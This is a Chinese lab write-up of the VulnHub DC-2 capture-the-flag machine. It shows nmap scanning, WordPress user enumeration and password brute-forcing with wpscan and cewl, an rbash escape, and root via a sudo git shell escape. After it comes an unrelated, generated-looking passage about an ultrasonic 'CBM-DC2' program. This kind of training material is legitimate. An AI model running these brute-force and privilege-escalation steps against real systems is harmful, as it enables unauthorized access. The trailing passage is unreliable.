DC2靶机渗透

DC2靶机渗透

今天我们来学习D2靶机渗透找出所有flag

开始进行靶机下载地址:
链接: https://www.vulnhub.com/entry/dc-2,311/
在靶机下载后,将模式改为NAT模式,重启靶机

第一步:靶机信息收集

// nmap查询存活主机
nmap -sP 192.168.109.0/24

发现靶机IP

查看开放端口

// nmap查询查询开放端口
nmap -sV -p- 192.168.109.136  

在这里插入图片描述
打开网页,发现页面无法访问
在这里插入图片描述

第二步:查找flag1

尝试修改/etc/host 配置(kali设置)
在这里插入图片描述
尝试修改C:\Windows\System32\drivers\etc\hosts(windows设置)
在这里插入图片描述
成功访问页面,然后开启点点点,查找flag
在这里插入图片描述发现flag1
在这里插入图片描述

第三步:查找flag2(wpscan暴力破解)

嗯。。。给了个提示cewl (和字典有关,应该要破解密码用)先不管,还有用户名的提示,发现cms是wordpress 用wpscan扫描一下网页列出站点的用户名、账号

在这里插入图片描述

// wpscan扫描用户名
wpscan --url  dc-2 -e u 

不理解wpscan放入小伙伴参考大佬写的链接
链接: https://zhuanlan.zhihu.com/p/149725645

–url|-u 要扫描的’WordPress站点
–enumerate | -e [option(s)] 枚举
u 枚举用户名(默认10个)

简单罗列出三个用户名和相关信息
在这里插入图片描述
将用户名写入user.txt文件,方便后续破解密码

根据flag1给的提示cewl生成字典dict.txt

// cewl生成dict.txt字典
cewl dc-2 -w dict.txt 

cewl全指南命令链接如下
链接: https://www.freebuf.com/articles/network/190128.html
字典有了,用户名有了,开始破解密码

// wpscan暴力破解
 wpscan --url dc-2 -U user.txt -P dict.txt

-U:用户名文件
-P:字典文件
(有路径的要写上路径)

破解成功
在这里插入图片描述
去网页找找登录框。我喜欢用御剑,小伙伴们自行选择
在这里插入图片描述登录成功,点点点,发现flag2
在这里插入图片描述

第四步:查找flag3


根据提示还有另一种方法
嗯。。。记得之前扫描端口时候开通了ssh 现在有用户名密码,试试看可不可登录呢。。

在这里插入图片描述

// ssh 连接(加端口号)
ssh tom@192.168.109.136 -p 7744

成功用tom用户进入
在这里插入图片描述
成功发现flag3,用vi编辑打开查看

第五步:查找flag4(绕过rbash)

翻译过来意思好像是回到jerry用户上, 又看到有su提示尝试切换到jerry
在这里插入图片描述
看来需要绕过rbash,设置shell变量

// 绕过rbash
tom@DC-2:~$ whoami
-rbash: whoami: command not found
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ ls
flag3.txt   usr
tom@DC-2:~$ cat flag3.txt

发现flag3可以用cat命令查看了
在试着切换到jerry用户下

// An highlighted block
tom@DC-2:~$ su jerry
Password: 
jerry@DC-2:/home/tom$ cd /home/jerry
jerry@DC-2:~$ ls
flag4.txt
jerry@DC-2:~$ cat flag4.txt

发现flag4
在这里插入图片描述

第五步:查找最终flag(git提权)

提示git 想到是否为git提权 root用户查询最终flag呢

// git提权
jerry@DC-2:~$ sudo git -p help config
:!/bin/sh

提权成功,查找最终flag

// 
# whoami
root
# ls
flag4.txt
# ls /root
final-flag.txt
# cat /root/final-flag.txt

获得最终的flag

完结 撒花✿✿ヽ(°▽°)ノ✿

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CBM-DC2超声波程序是一种基于超声波技术的测量程序。CBM是嵌入式系统名称,DC2则表示第二代设备。该程序主要应用于测量距离、检测物体的位置、识别物体的形状等方面。 CBM-DC2超声波程序的工作原理是通过超声波发射器发射超声波信号,然后接收器接收到被物体反射后的声波信号。通过计算发射与接收之间的时间差,并结合声速的知识,可以准确地测量出被测物体与传感器之间的距离。这种测量方法具有非接触、快速、准确等优点,因此广泛应用于各个领域。 CBM-DC2超声波程序可以用于测量物体的距离。通过将传感器安装在测量物体附近,即可实时测量物体与传感器之间的距离。比如在机械领域中,可以用来检测机械设备中零件的位置和间距,以及机器人中的障碍物位置,可广泛应用于自动化生产线中。 此外,CBM-DC2超声波程序还可以用于检测物体的位置。通过分析声波信号的强弱或回波的时间差,可以确定物体在空间中的位置。这在自动驾驶领域中具有重要意义,可以用于检测周围车辆、行人或其他障碍物的位置和距离,以保证交通安全。 最后,CBM-DC2超声波程序还能用于识别物体的形状。通过分析声波信号的回波,可以获得物体的轮廓和形状信息。这在制造业中具有广泛的应用,可以用于产品检测、零件测量等,以提高生产效率和质量管理水平。 总之,CBM-DC2超声波程序是一种基于超声波技术的测量程序,可以应用于测量距离、检测物体位置和识别物体形状等多个领域,具有非接触、快速、准确等优点,在各个领域中发挥着重要作用。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值